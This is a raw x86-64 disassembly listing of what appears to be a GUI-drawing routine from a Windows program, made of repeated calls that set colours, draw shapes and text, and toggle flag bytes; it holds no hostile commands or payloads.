call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb0110dd
cmp byte [0x7ff6bb13fd39], 0
sete byte [0x7ff6bb13fd39]
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
lea rdx, [0x7ff6bb0a3b70]
lea rcx, [rbp + 0x12e0]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb011116
cmp byte [0x7ff6bb13fd39], 0
sete byte [0x7ff6bb13fd39]
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
lea rcx, [rbp + 0x1300]
call fcn.7ff6bafc1460
lea rcx, [rbp + 0x12f0]
call fcn.7ff6bafc1460
cmp byte [0x7ff6bb13fd34], 0
movss dword [rsp + 0x20], xmm14
je 0x7ff6bb011174
movaps xmm3, xmm14
lea rcx, [rbp + 0x1038]
movaps xmm2, xmm14
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
movaps xmm3, xmm6
lea rcx, [rbp + 0x1048]
movaps xmm2, xmm13
movaps xmm1, xmm12
jmp 0x7ff6bb01119f
movaps xmm3, xmm10
lea rcx, [rbp + 0x1058]
movaps xmm2, xmm10
movaps xmm1, xmm10
call fcn.7ff6bafc13a0
movaps xmm3, xmm10
lea rcx, [rbp + 0x1068]
movaps xmm2, xmm10
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm14
movups xmmword [rbp + 0x1300], xmm0
call fcn.7ff6bafc13a0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x12f0], xmm0
movaps xmm0, xmm7
call fcn.7ff6bafd24b0
lea rdx, [0x7ff6bb0a3b8c]
lea rcx, [rbp + 0x12f0]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb0111f3
cmp byte [0x7ff6bb13fd34], 0
sete byte [0x7ff6bb13fd34]
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
lea rdx, [0x7ff6bb0a3b90]
lea rcx, [rbp + 0x1300]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb01122c
cmp byte [0x7ff6bb13fd34], 0
sete byte [0x7ff6bb13fd34]
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
lea rcx, [rbp + 0x1320]
call fcn.7ff6bafc1460
lea rcx, [rbp + 0x1310]
call fcn.7ff6bafc1460
cmp byte [0x7ff6bb13fd38], 0
movss dword [rsp + 0x20], xmm14
je 0x7ff6bb01128a
movaps xmm3, xmm14
lea rcx, [rbp + 0x1078]
movaps xmm2, xmm14
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
movaps xmm3, xmm6
lea rcx, [rbp + 0x1088]
movaps xmm2, xmm13
movaps xmm1, xmm12
jmp 0x7ff6bb0112b5
movaps xmm3, xmm10
lea rcx, [rbp + 0x1098]
movaps xmm2, xmm10
movaps xmm1, xmm10
call fcn.7ff6bafc13a0
movaps xmm3, xmm10
lea rcx, [rbp + 0x10a8]
movaps xmm2, xmm10
movaps xmm1, xmm10
movups xmm0, xmmword [rax]
movss dword [rsp + 0x20], xmm14
movups xmmword [rbp + 0x1320], xmm0
call fcn.7ff6bafc13a0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x1310], xmm0
movaps xmm0, xmm7
call fcn.7ff6bafd24b0
lea rdx, [0x7ff6bb0a3ba4]
lea rcx, [rbp + 0x1310]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb011309
cmp byte [0x7ff6bb13fd38], 0
sete byte [0x7ff6bb13fd38]
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
lea rdx, [0x7ff6bb0a3ba8]
lea rcx, [rbp + 0x1320]
call fcn.7ff6bafef8e0
xor ecx, ecx
call fcn.7ff6bafcb340
test al, al
je 0x7ff6bb011342
cmp byte [0x7ff6bb13fd38], 0
sete byte [0x7ff6bb13fd38]
movss xmm2, dword [0x7ff6bb0ac244]
lea rcx, [rbp + 0x4f8]
movss xmm1, dword [0x7ff6bb0ac248]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac238]
lea rcx, [rbp + 0x500]
movss xmm1, dword [0x7ff6bb0ac1ac]
movss xmm6, dword [rax]
movss xmm7, dword [rax + 4]
call fcn.7ff6bafc1390
movaps xmm0, xmm6
lea r8, [0x7ff6bb0a3bc8]
unpcklps xmm0, xmm7
movq rdx, xmm0
movss xmm2, dword [rax + 4]
movss xmm1, dword [rax]
unpcklps xmm1, xmm2
movq rcx, xmm1
call fcn.7ff6bb006fa0
test al, al
je 0x7ff6bb0114ff
xor edx, edx
lea rcx, [rbp + 0x1200]
call fcn.7ff6bb016ae0
lea rdx, [rbp + 0x11d8]
mov byte [rsp + 0x60], 0
lea rcx, [rsp + 0x60]
call fcn.7ff6bb015ad0
mov rdx, rax
lea rcx, [rbp + 0x10]
call fcn.7ff6bb01b9a0
lea rdx, [0x7ff6bb155660]
lea rcx, [rbp + 0x30]
call fcn.7ff6bb01ba10
lea rdx, [0x7ff6bb13e2e0]
lea rcx, [rbp + 0x50]
call fcn.7ff6bb01bad0
lea r8, [rbp + 0x70]
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x10b8]
call fcn.7ff6bb016540
mov r9b, 2
lea rdx, [rsp + 0x70]
movzx r8d, r12b
lea rcx, [rbp + 0x10c8]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x70], xmm0
call fcn.7ff6bb0168e0
lea rdx, [rbp - 0x50]
mov byte [rbp - 0x7e], 0
lea rcx, [rbp - 0x7e]
mov rbx, rax
call fcn.7ff6bb015800
mov rdx, rax
lea rcx, [rbp + 0x1200]
call fcn.7ff6bb016550
mov rcx, rax
mov rdx, rbx
call fcn.7ff6bb0168a0
lea rcx, [rbp - 0x50]
call fcn.7ff6bb0186d0
mov edx, 0x20
lea r9, [fcn.7ff6bb0085f0]
lea rcx, [rbp + 0x10]
lea r8d, [rdx - 0x1d]
call fcn.7ff6bb030680
lea rcx, [rbp + 0x11d8]
call fcn.7ff6bb0186d0
lea rdx, [rbp + 0x1200]
lea rcx, [rbp - 0x50]
call fcn.7ff6bb01bb60
mov rdx, rax
lea rcx, [rbp + 0x10d8]
call fcn.7ff6bb01bb80
mov rdx, rax
lea rcx, [rbp + 0x1698]
call fcn.7ff6bb01bba0
lea rcx, [rbp - 0x50]
call fcn.7ff6bb0186d0
lea rdx, [0x7ff6bb13fd40]
lea rcx, [rbp + 0x10e8]
call fcn.7ff6bb01bc80
mov rdx, rax
lea rcx, [rbp + 0x1698]
call fcn.7ff6bb01bc90
lea rcx, [rbp + 0x1200]
mov byte [0x7ff6bb13fd3e], r12b
call fcn.7ff6bb0085f0
mov rcx, rsi
call fcn.7ff6bafd0b10
movss xmm7, dword [0x7ff6bb0ac264]
lea rcx, [rbp + 0x508]
movss xmm2, dword [0x7ff6bb0ac1d0]
movaps xmm1, xmm7
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3bd0]
call fcn.7ff6bafef7e0
call fcn.7ff6bafd0bb0
movss xmm2, dword [0x7ff6bb0ac1dc]
lea rcx, [rbp + 0x510]
movaps xmm1, xmm7
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
movss xmm6, dword [0x7ff6bb0ac054]
lea rcx, [rbp + 0x10f8]
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm6
movaps xmm1, xmm6
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3be0]
call fcn.7ff6bafef8e0
movss xmm2, dword [0x7ff6bb0ac1ec]
lea rcx, [rbp + 0x518]
movaps xmm1, xmm7
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm6
lea rcx, [rbp + 0x1108]
movaps xmm1, xmm6
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb1535e0]
call fcn.7ff6bafef8e0
movzx ecx, byte [0x7ff6bb13fd3b]
jmp 0x7ff6bb0115ec
movss xmm6, dword [0x7ff6bb0ac054]
test cl, cl
movzx eax, cl
cmove eax, r12d
mov byte [0x7ff6bb13fd3b], al
cmp r14d, 3
jne 0x7ff6bb0122de
movss xmm2, dword [0x7ff6bb0ac150]
lea rcx, [rbp + 0x520]
movss xmm1, dword [0x7ff6bb0ac234]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac154]
lea rcx, [rbp + 0x528]
movss xmm1, dword [0x7ff6bb0ac240]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
call fcn.7ff6bafc1390
movss xmm7, dword [0x7ff6bb0abf84]
lea rcx, [rbp + 0x1118]
movss xmm3, dword [0x7ff6bb0ac000]
movaps xmm1, xmm7
movss xmm2, dword [0x7ff6bb0abfb8]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rsp + 0x20], xmm14
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0abfd8]
lea rcx, [rbp + 0x1128]
movss xmm2, dword [0x7ff6bb0abf88]
mov esi, eax
movss xmm1, dword [0x7ff6bb0abfec]
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac014]
lea rcx, [rbp + 0x1138]
movss xmm1, dword [0x7ff6bb0ac008]
movaps xmm2, xmm7
movss dword [rsp + 0x20], xmm14
mov edi, eax
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac02c]
lea rcx, [rbp + 0x1148]
movss xmm2, dword [0x7ff6bb0abfcc]
mov ebx, eax
movss xmm1, dword [0x7ff6bb0abf88]
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm0, dword [0x7ff6bb0ac10c]
lea r8, [rbp + 0x1158]
mov dword [rsp + 0x40], r15d
lea rdx, [rbp + 0x1160]
movss dword [rsp + 0x38], xmm0
mov r9d, eax
mov dword [rsp + 0x30], esi
mov rcx, r13
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
call fcn.7ff6bafe5020
movss xmm2, dword [0x7ff6bb0ac1ac]
lea rcx, [rbp + 0x530]
movss xmm1, dword [0x7ff6bb0ac184]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac218]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
movss xmm1, dword [0x7ff6bb0ac2bc]
lea rcx, [rbp + 0x538]
call fcn.7ff6bafc1390
lea rcx, [rbp + 0x668]
movss dword [rsp + 0x20], xmm14
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
movss xmm0, dword [0x7ff6bb0abfbc]
movaps xmm3, xmm0
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm0, dword [0x7ff6bb0ac100]
lea r8, [rbp + 0x1158]
movss dword [rsp + 0x30], xmm14
lea rdx, [rbp + 0x1160]
mov r9d, eax
mov dword [rsp + 0x28], r15d
mov rcx, r13
movss dword [rsp + 0x20], xmm0
call fcn.7ff6bafe4d60
movss xmm2, dword [0x7ff6bb0ac170]
lea rcx, [rbp + 0x540]
movss xmm1, dword [0x7ff6bb0ac264]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac248]
lea rcx, [rbp + 0x548]
movss xmm1, dword [0x7ff6bb0ac2bc]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
call fcn.7ff6bafc1390
movss xmm3, dword [0x7ff6bb0ac0a4]
lea rcx, [rbp + 0x678]
movss xmm2, dword [0x7ff6bb0abffc]
movss xmm1, dword [0x7ff6bb0abfdc]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rsp + 0x20], xmm14
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0abff8]
lea rcx, [rbp + 0x688]
movss xmm2, dword [0x7ff6bb0abfc8]
mov r15d, eax
movss xmm1, dword [0x7ff6bb0ac098]
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac050]
lea rcx, [rbp + 0x698]
movss xmm2, dword [0x7ff6bb0abfb4]
mov r14d, eax
movss xmm1, dword [0x7ff6bb0ac090]
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac0b0]
mov esi, eax
movss xmm2, dword [0x7ff6bb0ac030]
movss xmm1, dword [0x7ff6bb0abf90]
movss dword [rsp + 0x20], xmm14
lea rcx, [rbp + 0x6a8]
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm2, dword [rbp + 0x115c]
lea rcx, [rbp + 0x550]
movss xmm1, dword [rbp + 0x1158]
addss xmm2, xmm14
addss xmm1, xmm14
mov edi, eax
call fcn.7ff6bafc1390
movss xmm2, dword [rbp + 0x1164]
lea rcx, [rbp + 0x558]
movss xmm1, dword [rbp + 0x1160]
subss xmm2, xmm14
subss xmm1, xmm14
mov rbx, rax
call fcn.7ff6bafc1390
movss xmm0, dword [0x7ff6bb0ac100]
mov r9d, edi
mov dword [rsp + 0x40], 0
mov r8, rbx
movss dword [rsp + 0x38], xmm0
mov rdx, rax
mov dword [rsp + 0x30], r15d
mov rcx, r13
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], esi
call fcn.7ff6bafe5020
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm15
lea rcx, [rbp + 0x6b8]
movaps xmm1, xmm15
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm0, dword [0x7ff6bb0ac100]
lea r8, [rbp + 0x1158]
mov r9d, eax
mov dword [rsp + 0x28], 0
lea rdx, [rbp + 0x1160]
movss dword [rsp + 0x20], xmm0
mov rcx, r13
call fcn.7ff6bafe4e70
movss xmm2, dword [0x7ff6bb0ac170]
lea rcx, [rbp + 0x5d0]
movss xmm1, dword [0x7ff6bb0ac184]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac248]
lea rcx, [rbp + 0x568]
movss xmm1, dword [0x7ff6bb0ac238]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
call fcn.7ff6bafc1390
movss xmm3, dword [0x7ff6bb0ac0a4]
lea rcx, [rbp + 0x6c8]
movss xmm2, dword [0x7ff6bb0abffc]
movss xmm1, dword [0x7ff6bb0abfdc]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rsp + 0x20], xmm14
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0abff8]
lea rcx, [rbp + 0x6d8]
movss xmm2, dword [0x7ff6bb0abfc8]
mov r15d, eax
movss xmm1, dword [0x7ff6bb0ac098]
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac050]
lea rcx, [rbp + 0x6e8]
movss xmm2, dword [0x7ff6bb0abfb4]
mov r14d, eax
movss xmm1, dword [0x7ff6bb0ac090]
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm3, dword [0x7ff6bb0ac0b0]
lea rcx, [rbp + 0x6f8]
movss xmm2, dword [0x7ff6bb0ac030]
mov esi, eax
movss xmm1, dword [0x7ff6bb0abf90]
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm2, dword [rbp + 0x115c]
lea rcx, [rbp + 0x570]
movss xmm1, dword [rbp + 0x1158]
addss xmm2, xmm14
addss xmm1, xmm14
mov edi, eax
call fcn.7ff6bafc1390
movss xmm2, dword [rbp + 0x1164]
lea rcx, [rbp + 0x578]
movss xmm1, dword [rbp + 0x1160]
subss xmm2, xmm14
subss xmm1, xmm14
mov rbx, rax
call fcn.7ff6bafc1390
movss xmm0, dword [0x7ff6bb0ac100]
mov r9d, edi
mov dword [rsp + 0x40], 0
mov r8, rbx
movss dword [rsp + 0x38], xmm0
mov rdx, rax
mov dword [rsp + 0x30], r15d
mov rcx, r13
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], esi
call fcn.7ff6bafe5020
movaps xmm3, xmm15
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm15
lea rcx, [rbp + 0x708]
movaps xmm1, xmm15
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm0, dword [0x7ff6bb0ac100]
lea r8, [rbp + 0x1158]
xor r15d, r15d
lea rdx, [rbp + 0x1160]
mov dword [rsp + 0x28], r15d
mov r9d, eax
mov rcx, r13
movss dword [rsp + 0x20], xmm0
call fcn.7ff6bafe4e70
mov rcx, qword [rbp - 0x58]
call fcn.7ff6bafd0b10
movss xmm2, dword [0x7ff6bb0ac174]
lea rcx, [rbp + 0x580]
movss xmm1, dword [0x7ff6bb0ac194]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3c10]
call fcn.7ff6bafef7e0
movss xmm2, dword [0x7ff6bb0ac174]
lea rcx, [rbp + 0x588]
movss xmm1, dword [0x7ff6bb0ac26c]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3c20]
call fcn.7ff6bafef7e0
call fcn.7ff6bafd0bb0
movss xmm2, dword [0x7ff6bb0ac17c]
lea rcx, [rbp + 0x590]
movss xmm1, dword [0x7ff6bb0ac194]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm6
lea rcx, [rbp + 0x718]
movaps xmm1, xmm6
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3c30]
call fcn.7ff6bafef8e0
movss xmm2, dword [0x7ff6bb0ac17c]
lea rcx, [rbp + 0x598]
movss xmm1, dword [0x7ff6bb0ac26c]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm6
lea rcx, [rbp + 0x728]
movaps xmm1, xmm6
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3c68]
call fcn.7ff6bafef8e0
movss xmm2, dword [0x7ff6bb0ac1a8]
lea rcx, [rbp + 0x5a0]
movss xmm1, dword [0x7ff6bb0ac194]
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
cmp byte [0x7ff6bb13fd31], r15b
movss dword [rsp + 0x20], xmm14
jne 0x7ff6bb011ec7
movss xmm6, dword [0x7ff6bb0ac0a8]
lea rcx, [rbp + 0x738]
movaps xmm3, xmm6
movaps xmm2, xmm13
movaps xmm1, xmm12
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3c94]
call fcn.7ff6bafef8e0
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
movaps xmm3, xmm14
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm14
lea rcx, [rbp + 0x748]
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3c98]
call fcn.7ff6bafef8e0
jmp 0x7ff6bb011f31
movaps xmm3, xmm15
lea rcx, [rbp + 0x758]
movaps xmm2, xmm15
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3cb4]
call fcn.7ff6bafef8e0
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
movaps xmm3, xmm14
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm14
lea rcx, [rbp + 0x768]
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3cb8]
call fcn.7ff6bafef8e0
movss xmm6, dword [0x7ff6bb0ac0a8]
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
movss xmm0, dword [0x7ff6bb0ac194]
call fcn.7ff6bafd24b0
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm13
lea rcx, [rbp + 0x778]
movaps xmm1, xmm12
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3c94]
call fcn.7ff6bafef8e0
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
movaps xmm3, xmm14
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm14
lea rcx, [rbp + 0x788]
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3cd8]
call fcn.7ff6bafef8e0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
movss xmm0, dword [0x7ff6bb0ac194]
call fcn.7ff6bafd24b0
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm13
lea rcx, [rbp + 0x798]
movaps xmm1, xmm12
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3c94]
call fcn.7ff6bafef8e0
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
movaps xmm3, xmm14
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm14
lea rcx, [rbp + 0x7a8]
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3cf8]
call fcn.7ff6bafef8e0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
movss xmm0, dword [0x7ff6bb0ac194]
call fcn.7ff6bafd24b0
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm13
lea rcx, [rbp + 0x7b8]
movaps xmm1, xmm12
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3c94]
call fcn.7ff6bafef8e0
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
movaps xmm3, xmm14
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm14
lea rcx, [rbp + 0x7c8]
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3d18]
call fcn.7ff6bafef8e0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
movss xmm0, dword [0x7ff6bb0ac194]
call fcn.7ff6bafd24b0
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm13
lea rcx, [rbp + 0x7d8]
movaps xmm1, xmm12
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3c94]
call fcn.7ff6bafef8e0
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
movaps xmm3, xmm14
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm14
lea rcx, [rbp + 0x7e8]
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3d38]
call fcn.7ff6bafef8e0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
movss xmm0, dword [0x7ff6bb0ac194]
call fcn.7ff6bafd24b0
movaps xmm3, xmm6
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm13
lea rcx, [rbp + 0x7f8]
movaps xmm1, xmm12
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3c94]
call fcn.7ff6bafef8e0
movaps xmm1, xmm8
movaps xmm0, xmm15
call fcn.7ff6bafd2380
movaps xmm3, xmm14
movss dword [rsp + 0x20], xmm14
movaps xmm2, xmm14
lea rcx, [rbp + 0x808]
movaps xmm1, xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
lea rdx, [0x7ff6bb0a3d58]
call fcn.7ff6bafef8e0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
movss xmm6, dword [0x7ff6bb0ac26c]
lea rcx, [rbp + 0x5a8]
movss xmm2, dword [0x7ff6bb0ac1a8]
movaps xmm1, xmm6
call fcn.7ff6bafc1390
mov rcx, rax
call fcn.7ff6bafd2450
lea rcx, [0x7ff6bb0a3d70]
call fcn.7ff6bafef7e0
movaps xmm0, xmm6
call fcn.7ff6bafd24b0
lea rcx, [rbp + 0x1410]
call fcn.7ff6bb0184b0
mov rcx, rax
call fcn.7ff6bafef7e0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
movaps xmm0, xmm6
call fcn.7ff6bafd24b0
lea rcx, [0x7ff6bb0a3d80]
call fcn.7ff6bafef7e0
movaps xmm0, xmm6
call fcn.7ff6bafd24b0
lea rcx, [rbp + 0x1450]
call fcn.7ff6bb0184b0
mov rcx, rax
call fcn.7ff6bafef7e0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
movaps xmm0, xmm6
call fcn.7ff6bafd24b0
lea rcx, [0x7ff6bb0a3d90]
call fcn.7ff6bafef7e0
movaps xmm0, xmm6
call fcn.7ff6bafd24b0
lea rcx, [rbp + 0x13c8]
call fcn.7ff6bb0184b0
mov rcx, rax
call fcn.7ff6bafef7e0
call fcn.7ff6baff1aa0
call fcn.7ff6baff1aa0
movaps xmm0, xmm6
call fcn.7ff6bafd24b0
lea rcx, [0x7ff6bb0a3da8]
call fcn.7ff6bafef7e0
movaps xmm0, xmm6
call fcn.7ff6bafd24b0
lea rcx, [rbp + 0x1430]
call fcn.7ff6bb0184b0
mov rcx, rax
call fcn.7ff6bafef7e0
movzx eax, byte [0x7ff6bb13fd3b]
mov r14d, dword [rbp - 0x7c]
jmp 0x7ff6bb0122e6
movss xmm7, dword [0x7ff6bb0abf84]
test al, al
movzx ecx, al
cmove ecx, r12d
mov byte [0x7ff6bb13fd3b], cl
cmp r14d, 4
jne 0x7ff6bb01249a
movss xmm2, dword [0x7ff6bb0ac150]
lea rcx, [rbp + 0x5b0]
movss xmm1, dword [0x7ff6bb0ac25c]
call fcn.7ff6bafc1390
movss xmm2, dword [0x7ff6bb0ac154]
lea rcx, [rbp + 0x5b8]
movss xmm1, dword [0x7ff6bb0ac268]
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1160], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1160], xmm0
movss xmm0, dword [rbp + 0x1164]
addss xmm0, xmm11
movss dword [rbp + 0x1164], xmm0
call fcn.7ff6bafc1390
movss xmm3, dword [0x7ff6bb0ac000]
lea rcx, [rbp + 0x818]
movss xmm2, dword [0x7ff6bb0abfb8]
movaps xmm1, xmm7
movss dword [rsp + 0x20], xmm14
movsd xmm0, qword [rax]
movsd qword [rbp + 0x1158], xmm0
addss xmm0, xmm9
movss dword [rbp + 0x1158], xmm0
movss xmm0, dword [rbp + 0x115c]
addss xmm0, xmm11
movss dword [rbp + 0x115c], xmm0
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
movss xmm6, dword [0x7ff6bb0abf88]
lea rcx, [rbp + 0x828]
movss xmm3, dword [0x7ff6bb0abfd8]
movaps xmm2, xmm6
movss xmm1, dword [0x7ff6bb0abfec]
mov esi, eax
movss dword [rsp + 0x20], xmm14
call fcn.7ff6bafc13a0
mov rcx, rax
call fcn.7ff6bafc13c0
